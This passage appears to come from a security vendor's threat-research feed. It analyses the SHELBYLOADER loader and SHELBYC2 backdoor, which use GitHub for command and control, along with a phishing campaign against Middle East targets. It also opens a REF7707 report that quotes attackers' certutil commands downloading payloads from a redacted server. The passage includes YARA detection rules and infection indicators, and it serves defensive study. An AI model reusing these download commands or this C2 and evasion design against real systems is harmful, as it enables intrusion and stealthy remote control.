<p>Additionally, the malware sets up two timers, which are used to trigger specific actions at predefined intervals.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image31.png" alt="SHELBYLOADER configuration" title="SHELBYLOADER configuration" /></p>
<p>One of the timers is configured to trigger a specific method 125 seconds after execution. When invoked, this method establishes persistence on the infected system by adding a new entry to the Windows Registry key <code>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code>. Once the method is triggered and the persistence mechanism is successfully executed, the timer is stopped from further triggering.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image22.png" alt="Setup persistence" title="Setup persistence" /></p>
<p>This method uses an integer variable to indicate the outcome of its operation. The following table describes each possible value and its meaning:</p>
<table>
<thead>
<tr>
<th>ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>1</code></td>
<td>Persistence set successfully</td>
</tr>
<tr>
<td><code>2</code></td>
<td>Persistence already set</td>
</tr>
<tr>
<td><code>8</code></td>
<td>Unable to add an entry in the key</td>
</tr>
<tr>
<td><code>9</code></td>
<td>Binary not found on disk</td>
</tr>
</tbody>
</table>
<p>This integer value is reported back to C2 during its first registration to the C2, allowing the attackers to monitor the success or failure of the persistence mechanism on the infected system.</p>
<p>The second timer is configured to trigger a method responsible for loading the backdoor, which executes 65 seconds after the malware starts. First, the malware generates an MD5 hash based on a combination of system-specific information. The data used to create the hash is formatted as follows, with each component separated by a slash( <code>/</code> ):</p>
<ul>
<li>The number of processors available on the system.</li>
<li>The name of the machine (hostname).</li>
<li>The domain name associated with the user account.</li>
<li>The username of the currently logged-in user.</li>
<li>The total number of logical drives present on the system.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image12.png" alt="Generate unique identifier" title="Generate unique identifier" /></p>
<p>A subset of this hash is then extracted and used as a unique identifier for the infected machine. This identifier serves as a way for the attackers to track and manage compromised systems within their infrastructure.</p>
<p>After generating the unique identifier, the malware pushes a new commit to the myToken repository using an HTTPS request. The commit includes a directory named after the unique identifier, which contains a file named <code>Info.txt</code>. This file stores the following information about the infected system:</p>
<ul>
<li>The domain name associated with the user account.</li>
<li>The username of the currently logged-in user.</li>
<li>The log of sandbox detection results detailing which techniques succeeded or failed.</li>
<li>The persistence flag (as described in the table above) indicates the outcome of the persistence mechanism.</li>
<li>The current date and time of the beaconing event</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image28.png" alt="Example content of Info.txt" title="Example content of Info.txt" /></p>
<p>The malware first attempts to push a commit to the repository without using a proxy. If this initial attempt fails, it falls back to using the system-configured proxy for its communication.</p>
<p>After the first beaconing and successful registration of the victim, the malware attempts to access the same GitHub repository directory it created earlier and download a file named <code>License.txt</code> (we did not observe any jitter in the checking interval, but the server could handle this). If present, this file contains a 48-byte value, which is used to generate an AES decryption key. This file is uploaded by the attacker’s backend only after validating that the malware is not running in a sandbox environment. This ensures only validated infections receive the key and escalate the execution chain to the backdoor.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image18.png" alt="Function calls for registration and retrieval of License content" title="Function calls for registration and retrieval of License content" /></p>
<p>The malware generates an AES key and initialization vector (IV) from the contents of <code>License.txt</code>. It first hashes the 48-byte value using SHA256, then uses the resulting hash as the key and the first 16 bytes as the IV.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image25.png" alt="Generating decryption AES key and IV" title="Generating decryption AES key and IV" /></p>
<p>It proceeds to decrypt the file <code>HTTPApi.dll</code>, which contains the backdoor payload. After decryption, the malware uses the <code>Assembly.Load</code> method to reflectively load the backdoor into memory. This technique lets the malware execute the decrypted backdoor directly without writing it to disk.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image4.png" alt="Decrypts and loads SHELBYC2" title="Decrypts and loads SHELBYC2" /></p>
<h3>DNS-Based Keying Mechanism</h3>
<p>Another variant of SHELBYLOADER uses a different approach for registration and retrieving the byte sequence used to generate the AES key and IV.</p>
<p>First, the malware executes the same anti-sandboxing methods, creating a string of <code>1</code> or <code>0</code> depending on whether a sandbox is detected for each technique.</p>
<p>For its C2 registration, the malware builds a subdomain under <code>arthurshelby.click</code> with three parts: the first subdomain is a static string (<code>s</code>), the second subdomain is the unique identifier encoded in Base32, and the third subdomain is a concatenated string in the format <code>DomainName\HostName &gt;&gt; Anti-Sandboxing Results &gt;&gt; Persistence Flag</code> encoded in base32.</p>
<p>For example, a complete domain might look like <code>s.grldiyrsmvsggojzmi4wmyi.inevyrcfknfvit2qfvcvinjriffe6ib6hyqdambqgaydambahy7cama.arthurshelby.click</code></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image13.png" alt="CyberChef recipe for decoding generated subdomains" title="CyberChef recipe for decoding generated subdomains" /></p>
<p>After that, the malware executes multiple DNS queries to subdomains of <code>arthurshelby.click</code>. The IP addresses returned from these queries are concatenated into a byte sequence, which is then used to generate the AES key for decrypting the backdoor, following the same process described earlier.</p>
<p>The subdomains follow this format:</p>
<ul>
<li>The first subdomain is <code>l&lt;index&gt;</code>, where the index corresponds to the order of the DNS calls (e.g., <code>l1</code>, <code>l2</code>, etc.), ensuring the byte sequence is assembled correctly.</li>
<li>The second subdomain is the unique identifier encoded in Base32.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image16.png" alt="Subdomains contacted to retrieve the bytes used to generate the AES key" title="Subdomains contacted to retrieve the bytes used to generate the AES key" /></p>
<h2>SHELBYC2 code analysis</h2>
<p>The backdoor begins by regenerating the same unique identifier created by the loader. It does this by computing an MD5 hash of the exact system-specific string used earlier. The backdoor then creates a <a href="https://learn.microsoft.com/en-us/windows/win32/sync/using-mutex-objects">Mutex</a> to ensure that only one instance of the malware runs on the infected machine. The Mutex is named by prepending the string <code>Global\GHS</code> to the unique identifier.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image9.png" alt="Mutex initialization" title="Mutex initialization" /></p>
<p>After 65 seconds, the backdoor executes a method that collects the following system information:</p>
<ul>
<li>current user identity</li>
<li>operating system version</li>
<li>the process ID of the malware</li>
<li>machine name</li>
<li>current working directory</li>
</ul>
<p>Interestingly, this collected information is neither used locally nor exfiltrated to the C2 server. This suggests that the code might be dead code left behind during development or that the malware is still under active development, with potential plans to utilize this data in future versions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image1.png" alt="Dead code" title="Dead code" /></p>
<p>The malware then uploads the current timestamp to a file named Vivante.txt in the myGit repository within its unique directory (named using the system's unique identifier). This timestamp serves as the last beaconing time, enabling the attackers to monitor the malware's activity and confirm that the infected system is still active. The word <strong>&quot;Vivante&quot;</strong> translates to <strong>&quot;alive&quot;</strong> in French, which reflects the file's role as a heartbeat indicator for the compromised machine.</p>
<p>Next, the malware attempts to download the file <code>Command.txt</code>, which contains a list of commands issued by the operator for execution on the infected system.</p>
<p>If <code>Command.txt</code> contains no commands, the malware checks for commands in another file named <code>Broadcast.txt</code>. Unlike <code>Command.txt</code>, this file is located outside the malware's directory and is used to broadcast commands to all infected systems simultaneously. This approach allows the attacker to simultaneously execute operations across multiple compromised machines, streamlining large-scale control.</p>
<h3>Commands handling table:</h3>
<p>Commands in the <code>Command.txt</code> file can either be handled commands or system commands executed with Powershell. The following is a description of every handled command.</p>
<h4>/download</h4>
<p>This command downloads a file from a GitHub repository to the infected machine. It requires two parameters:</p>
<ul>
<li>The name of the file stored in the GitHub repository.</li>
<li>The path where the file will be saved on the infected machine.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image20.png" alt="Download command" /></p>
<h4>/upload</h4>
<p>This command uploads a file from the infected machine to the GitHub repository. It takes one parameter: the path of the file to be uploaded.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image32.png" alt="Upload command" /></p>
<h4>/dlextract</h4>
<p>This command downloads a zip file from the GitHub repository (similar to <code>/download</code>), extracts its contents, and saves them to a specified directory on the machine.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image30.png" alt="Zip extraction command" /></p>
<h4>/evoke</h4>
<p>This command is used to load a .NET binary reflectively; it takes two parameters: the first parameter is the path of an AES encrypted .NET binary previously downloaded to the infected machine, the second parameter is a value used to derive AES and the IV, similar to how the loader loads the backdoor.</p>
<p>This command reflectively loads a .NET binary similar to how the SHELBYLOADER loads the backdoor. It requires two parameters:</p>
<ul>
<li>The path to an AES-encrypted .NET binary previously downloaded to the infected machine.</li>
<li>A value used to derive the AES key and IV.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image3.png" alt=".NET invocation command" /></p>
<h4>System commands</h4>
<p>Any command not starting with one of the above is treated as a PowerShell command and executed accordingly.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image7.png" alt="Powershell execution command" /></p>
<h3>Communication</h3>
<p>The malware does not use the <a href="https://git-scm.com/">Git tool</a> in the backend to send commits. Instead, it crafts HTTP requests to interact with GitHub. It sends a commit to the repository using a JSON object with the following structure:</p>
<pre><code class="language-json">{
  &quot;message&quot;: &quot;Commit message&quot;,
  &quot;content&quot;: &quot;&lt;base64 encoded content&gt;&quot;,
  &quot;sha&quot;: &quot;&lt;hash&gt;&quot;
}
</code></pre>
<p>The malware sets specific HTTP headers for the request, including:</p>
<ul>
<li><strong>Accept:</strong> <code>application/vnd.github.v3+json</code></li>
<li><strong>Content-Type:</strong> <code>application/json</code></li>
<li><strong>Authorization:</strong> <code>token &lt;PAT_token&gt;</code></li>
<li><strong>User-Agent:</strong> <code>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image14.png" alt="Initialization of the HTTP request" /></p>
<p>The request is sent to the GitHub API endpoint, constructed as follows:</p>
<pre><code>https://api.github.com/repos/&lt;owner&gt;/&lt;repo&gt;/contents/&lt;unique identifier&gt;/&lt;file&gt;
</code></pre>
<p>The Personal Access Token (PAT) required to access the private repository is embedded within the binary. This allows the malware to authenticate and perform actions on the repository without using the standard Git toolchain.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image26.png" alt="Wireshark capture of a C2 communication by SHELBYC2" /></p>
<p>The way the malware is set up means that anyone with the <a href="https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens">PAT (Personal Access Token)</a> can theoretically fetch commands sent by the attacker and access command outputs from any victim machine. This is because the PAT token is embedded in the binary and can be used by anyone who obtains it.</p>
<h3>SHELBY family conclusion</h3>
<p>While the C2 infrastructure is designed exotically, the attacker has overlooked the significant risks and implications of this approach.</p>
<p>We believe using this malware, whether by an authorized red team or a malicious actor, would constitute malpractice. It enables any victim to weaponize the embedded PAT and take control of all active infections. Additionally, if a victim uploads samples to platforms like VirusTotal or MalwareBazaar, any third party could access infection-related data or take over the infections entirely.</p>
<h2>REF8685 campaign analysis</h2>
<p>Elastic Security Labs discovered REF8685 through routine collection and analysis of third-party data sources. While studying the REF8685 intrusion, we identified a loader and a C2 implant that we determined to be novel, leading us to release this detailed malware and intrusion analysis.</p>
<p>The malicious payloads were delivered to an Iraq-based telecom through a highly targeted phishing email sent from within the targeted organization. The text of the email is a discussion amongst engineers regarding the technical specifics of managing the network. Based on the content and context of the email, it is not likely that this lure was crafted externally, indicating the compromise of engineer endpoints, mail servers, or both.</p>
<pre><code class="language-text">Dears,

We would appreciate it if you would check the following alarms on Core Network many (ASSOCIATION) have been flapped.

Problem Text
*** ALARM 620 A1/APT &quot;ARHLRF2SPX1.9IP&quot;U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END

Problem Text
*** ALARM 974 A1/APT &quot;ARHLRF1SPX1.9IP&quot;U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END
…
</code></pre>
<p>This email contains a call to action to address network alarms and a zipped attachment named <code>details.zip</code>. Within that zip file is a text file containing the logs addressed in the email and a Windows executable (<code>JPerf-3.0.0.exe</code>), which starts the execution chain, resulting in the delivery of the SHELBYC2 implant, providing remote access to the environment.</p>
<p>While not observed in the REF8685 intrusion, it should be noted that VirusTotal shows that <code>JPerf-3.0.0.exe</code> (<a href="https://www.virustotal.com/gui/file/feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a/relations">feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a</a>) was included in a separate compressed archive (<code>JPerf-3.0.0.zip</code>)and also submitted from Iraq. It is unclear if this is from the same victim or another in this campaign. A file similarity search also identifies a second implant named <code>Setup.exe</code> with an additional compressed archive (<a href="https://www.virustotal.com/gui/file/5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c/detection">5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c</a>).</p>
<p>Analysis of these files (<code>JPerf-3.0.0.exe</code> and <code>Setup.exe</code>) revealed the use of GitHub for <code>C2</code> and AES key retrieval mechanisms (more on this in the malware analysis sections). The Github accounts (<code>arthurshellby</code> and <code>johnshelllby</code>) used for the REF8685 malware were malicious and have been shut down by Github.</p>
<p>Of note, Arthur and John Shelby are characters in the British crime drama television series <a href="https://en.wikipedia.org/wiki/Peaky_Blinders_(TV_series)">Peaky Blinders</a>. The show was in production from 2013 to 2022.</p>
<p>The domain <code>arthurshelby[.]click</code> pointed to<code> 2.56.126[.]151</code>, a Stark Industries (AS44477) hosted server. This VPS hosting provider <a href="https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/">has been used for proxy services</a> in other large-scale cyber attacks. This server has overlapping resolutions for:</p>
<ul>
<li><code>arthurshelby[.]click</code></li>
<li><code>[REDACTED]telecom[.]digital</code></li>
<li><code>speed-test[.]click</code></li>
<li><code>[REDACTED]airport[.]cloud</code></li>
<li><code>[REDACTED]airport[.]pro</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image19.png" alt="DNS resolution timeline for 2.56.126[.]151" title="DNS resolution timeline for .56.126[.]151" /></p>
<p>The compressed archive and C2 domains for one of the SHELBYLOADER samples are named after [REDACTED] Telecom, an Iraq-based telecommunications company. [REDACTED]’s coverage map focuses on the Iraqi-Kurdistan region in the North and East of the country.</p>
<p>“Sharjaairport” indicates a probable third targeted victim. [REDACTED] International Airport ([REDACTED]) is an international airport specializing in air freight in the United Arab Emirates. It is 14.5 miles (23.3km) from Dubai International Airport (DXB).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image29.png" alt="DNS resolution timeline for [REDACTED]airport[.]cloud" title="DNS resolution timeline for [REDACTED]airport[.]cloud" /></p>
<p><code>[REDACTED]airport[.]cloud</code> resolved to a new server, <code>2.56.126[.]157</code>, for one day on Jan 21, 2025. Afterward, it pointed to Google DNS, the legitimate [REDACTED] Airport server, and finally, a Namecheap parking address. The <code>2.56.126[.]157</code> server, Stark Industries (AS44477) hosted, also hosts <code>[REDACTED]-connect[.]online</code>, [REDACTED] is the airport code for the [REDACTED] International Airport.</p>
<p>The domain<code> [REDACTED]airport[.]cloud</code> has a subdomain <code>portal.[REDACTED]airport[.]cloud</code> that briefly pointed to <code>2.56.126[.]188</code> from Jan 23-25, 2025. It then directed traffic to <code>172.86.68[.]55</code> until the time of writing.</p>
<p>Banner hash pivots reveal an additional server-domain combo: <code>195.16.74[.]138</code>, <code>[REDACTED]-meeting[.]online</code>.</p>
<p>The <code>172.86.68[.].55</code> server also hosts <code>mail.[REDACTED]tell[.]com</code>, an apparent phishing domain targeting our original victim.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image11.png" alt="DNS resolution timeline for 172.86.68[.].55" title="DNS resolution timeline for 172.86.68[.].55" /></p>
<p>A web login page was hosted at <code>hxxps://portal.[REDACTED]airport[.]cloud/Login</code> (<a href="https://www.virustotal.com/gui/file/02dc15a3bd3a911f6ac9c9e8633c7986f06372a514fc5bf75373b9901c6a9628/relations">VirusTotal</a>).</p>
<p>We assess that the attackers weaponized these two sub-domains to phish for cloud login credentials. Once these credentials were secured (in the case of [REDACTED] Telecom), the attackers accessed the victim's cloud email and crafted a highly targeted phish by weaponizing ongoing internal email threads.</p>
<p>This weaponized internal email was used to re-phish their way onto victim endpoints.</p>
<p>All domains associated with this campaign have utilized ZeroSSL certifications and have been on Stark Industries infrastructure.</p>
<h3>The Diamond Model of intrusion analysis</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image10.png" alt="REF8685 represented in the Diamond Model" title="REF8685 represented in the Diamond Model" /></p>
<h2>REF8685 and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
</ul>
<h2>YARA rule</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the SHELBYC2 and SHELBYLOADER malware:</p>
<pre><code>rule Windows_Trojan_ShelbyLoader {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-03-11&quot;
        last_modified = &quot;2025-03-25&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;ShelbyLoader&quot;
        threat_name = &quot;Windows.Trojan.ShelbyLoader&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a0 = &quot;[WARN] Unusual parent process detected: &quot;
        $a1 = &quot;[ERROR] Exception in CheckParentProcess:&quot; fullword
        $a2 = &quot;[INFO] Sandbox Not Detected by CheckParentProcess&quot; fullword
        $b0 = { 22 63 6F 6E 74 65 6E 74 22 3A 20 22 2E 2B 3F 22 }
        $b1 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $b2 = &quot;Persist ID: &quot; fullword
        $b3 = &quot;https://api.github.com/repos/&quot; fullword
    condition:
        all of ($a*) or all of ($b*)
}

rule Windows_Trojan_ShelbyC2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-03-11&quot;
        last_modified = &quot;2025-03-25&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;ShelbyC2&quot;
        threat_name = &quot;Windows.Trojan.ShelbyC2&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a0 = &quot;File Uploaded Successfully&quot; fullword
        $a1 = &quot;/dlextract&quot; fullword
        $a2 = &quot;/evoke&quot; fullword
        $a4 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $a5 = { 22 2C 22 73 68 61 22 3A 22 }
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/shelby-strategy">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>0e25efeb4e3304815f9e51c1d9bd3a2e2a23ece3a32f0b47f829536f71ead17a</code></td>
<td>SHA-256</td>
<td><code>details.zip</code></td>
<td>Lure zip file</td>
</tr>
<tr>
<td><code>feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a</code></td>
<td>SHA-256</td>
<td><code>JPerf-3.0.0.exe</code></td>
<td></td>
</tr>
<tr>
<td><code>0354862d83a61c8e69adc3e65f6e5c921523eff829ef1b169e4f0f143b04091f</code></td>
<td>SHA-256</td>
<td><code>HTTPService.dll</code></td>
<td>SHELBYLOADER</td>
</tr>
<tr>
<td><code>fb8d4c24bcfd853edb15c5c4096723b239f03255f17cec42f2d881f5f31b6025</code></td>
<td>SHA-256</td>
<td><code>HTTPApi.dll</code></td>
<td>SHELBYC2</td>
</tr>
<tr>
<td><code>472e685e7994f51bbb259be9c61f01b8b8f35d20030f03215ce205993dbad7f5</code></td>
<td>SHA-256</td>
<td><code>JPerf-3.0.0.zip</code></td>
<td>Lure zip file</td>
</tr>
<tr>
<td><code>5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c</code></td>
<td>SHA-256</td>
<td><code>Setup.exe</code></td>
<td></td>
</tr>
<tr>
<td><code>e51c6f0fbc5a7e0b03a0d6e1e1d26ab566d606b551c785bf882e9a02f04c862b</code></td>
<td>SHA-256</td>
<td></td>
<td>Lure zip file</td>
</tr>
<tr>
<td><code>github[.]com/johnshelllby</code></td>
<td>URL</td>
<td></td>
<td>GitHub Account name - C2</td>
</tr>
<tr>
<td><code>github[.]com/arturshellby</code></td>
<td>URL</td>
<td></td>
<td>GitHub Account name - C2</td>
</tr>
<tr>
<td><code>arthurshelby[.]click</code></td>
<td>domain-name</td>
<td></td>
<td>DNS domain</td>
</tr>
<tr>
<td><code>speed-test[.]click</code></td>
<td>domain-name</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>2.56.126[.]151</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>2.56.126[.]157</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>2.56.126[.]188</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>172.86.68[.]55</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>195.16.74[.]138</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/shelby.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[From South America to Southeast Asia: The Fragile Web of REF7707]]></title>
            <link>https://www.elastic.co/jp/security-labs/fragile-web-ref7707</link>
            <guid>fragile-web-ref7707</guid>
            <pubDate>Thu, 13 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[REF7707 targeted a South American foreign ministry using novel malware families. Inconsistent evasion tactics and operational security missteps exposed additional adversary-owned infrastructure.]]></description>
            <content:encoded><![CDATA[<h2>REF7707 summarized</h2>
<p>Elastic Security Labs has been monitoring a campaign targeting the foreign ministry of a South American nation that has links to other compromises in Southeast Asia. We track this campaign as REF7707.</p>
<p>While the REF7707 campaign is characterized by a well-engineered, highly capable, novel intrusion set, the campaign owners exhibited poor campaign management and inconsistent evasion practices.</p>
<p>The intrusion set utilized by REF7707 includes novel malware families we refer to as FINALDRAFT, GUIDLOADER, and PATHLOADER. We have provided a detailed analysis of their functions and capabilities in the malware analysis report of REF7707 - <a href="https://www.elastic.co/jp/security-labs/finaldraft">You've Got Malware: FINALDRAFT Hides in Your Drafts</a>.</p>
<h2>Key takeaways</h2>
<ul>
<li>REF7707 leveraged novel malware against multiple targets</li>
<li>The FINALDRAFT malware has both a Windows and Linux variant</li>
<li>REF7707 used an uncommon LOLBin to obtain endpoint execution</li>
<li>Heavy use of cloud and third-party services for C2</li>
<li>The attackers used weak operational security that exposed additional malware and infrastructure not used in this campaign</li>
</ul>
<h2>Campaign Overview</h2>
<p>In late November 2024, Elastic Security Labs observed a tight cluster of endpoint behavioral alerts occurring at the Foreign Ministry of a South American country. As the investigation continued, we discovered a sprawling campaign and intrusion set that included novel malware, sophisticated targeting, and a mature operating cadence.</p>
<p>While parts of the campaign showed a high level of planning and technical competence, numerous tactical oversights exposed malware pre-production samples, infrastructure, and additional victims.</p>
<h3>Campaign layout (the diamond model)</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leveraging Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a — although cluttered — single diamond.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/fragile-web-ref7707/image1.png" alt="REF7707 - Diamond Model" title="REF7707 - Diamond Model" /></p>
<h2>Execution Flow</h2>
<h3>Primary execution chain</h3>
<p>REF7707 was initially identified through Elastic Security telemetry of a South American nation’s Foreign Ministry. We observed a common LOLBin tactic <a href="https://lolbas-project.github.io/lolbas/Binaries/Certutil/">using Microsoft’s certutil</a> application to download files from a remote server and save them locally.</p>
<pre><code>certutil  -urlcache -split -f https://[redacted]/fontdrvhost.exe C:\ProgramData\fontdrvhost.exe

certutil  -urlcache -split -f https://[redacted]/fontdrvhost.rar C:\ProgramData\fontdrvhost.rar

certutil  -urlcache -split -f https://[redacted]/config.ini C:\ProgramData\config.ini

certutil  -urlcache -split -f https://[redacted]/wmsetup.log C:\ProgramData\wmsetup.log
</code></pre>
<p>The web server hosting <code>fontdrvhost.exe</code>, <code>fontdrvhost.rar</code>, <code>config.ini</code>, and <code>wmsetup.log</code> was located within the same organization; however, it was not running the Elastic Agent. This was the first lateral movement observed and provided insights about the intrusion. We’ll discuss these files in more detail, but for now, <code>fontdrvhost.exe</code> is a debugging tool, <code>config.ini</code> is a weaponized INI file, and <code>fontdrvhost.rar</code> was not recoverable.</p>
<h4>WinrsHost.exe</h4>
<p><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs">Windows Remote Management’s Remote Shell plugin</a> (<code>WinrsHost.exe</code>) was used to download the files to this system from an unknown source system on a connected network. The plugin is the client-side process used by Windows Remote Management. It indicates that attackers already possessed valid network credentials and were using them for lateral movement from a previously compromised host in the environment. How these credentials were obtained is unknown; it is possible that the credentials were obtained from the web server hosting the suspicious files.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/fragile-web-ref7707/image4.png" alt="WinrsHost.exe is used to execute commands" title="WinrsHost.exe is used to execute commands" /></p>
<p>The attacker downloaded <code>fontdrvhost.exe</code>, <code>fontdrvhost.rar</code>, <code>config.ini</code>, and <code>wmsetup.log</code> to the <code>C:\ProgramData\</code> directory; from there, the attacker moved to several other Windows endpoints. While we can’t identify all of the exposed credentials, we noted the use of a local administrator account to download these files.</p>
<p>Following the downloads from the web server to the endpoint, we saw a cluster of behavioral rules firing in quick succession.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/fragile-web-ref7707/image5.png" alt="Behavioral rules accelerating" title="Behavioral rules accelerating" /></p>
<p>On six Windows systems, we observed the execution of an unidentified binary (<code>08331f33d196ced23bb568689c950b39ff7734b7461d9501c404e2b1dc298cc1</code>) as a child of <code>Services.exe</code>. This suspicious binary uses a pseudo-randomly assigned file name consisting of six camel case letters with a <code>.exe</code> extension and is located in the <code>C:\Windows\</code> path (example: <code>C:\Windows\cCZtzzwy.exe</code>). We could not collect this file for analysis, but we infer that this is a variant of <a href="https://www.elastic.co/jp/security-labs/finaldraft">PATHLOADER</a> based on the file size (<code>170,495</code> bytes) and its location. This file was passed between systems using SMB.</p>
<h4>FontDrvHost.exe</h4>
<p>Once the attacker collected <code>fontdrvhost.exe</code>, <code>fontdrvhost.rar</code>, <code>config.ini</code>, and <code>wmsetup.log</code>, it executed <code>fontdrvhost.exe</code> (<code>cffca467b6ff4dee8391c68650a53f4f3828a0b5a31a9aa501d2272b683205f9</code>) to continue with the intrusion. <code>fontdrvhost.exe</code> is a renamed version of the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options">Windows-signed debugger</a> <code>CDB.exe</code>. Abuse of this binary allowed our attackers to execute malicious shellcode delivered in the <code>config.ini</code> file under the guise of trusted binaries.</p>
<p>CDB is a debugger that is over 15 years old. In researching how often it was submitted with suspicious files to VirusTotal, we see increased activity in 2021 and an aggressive acceleration starting in late 2024.</p>
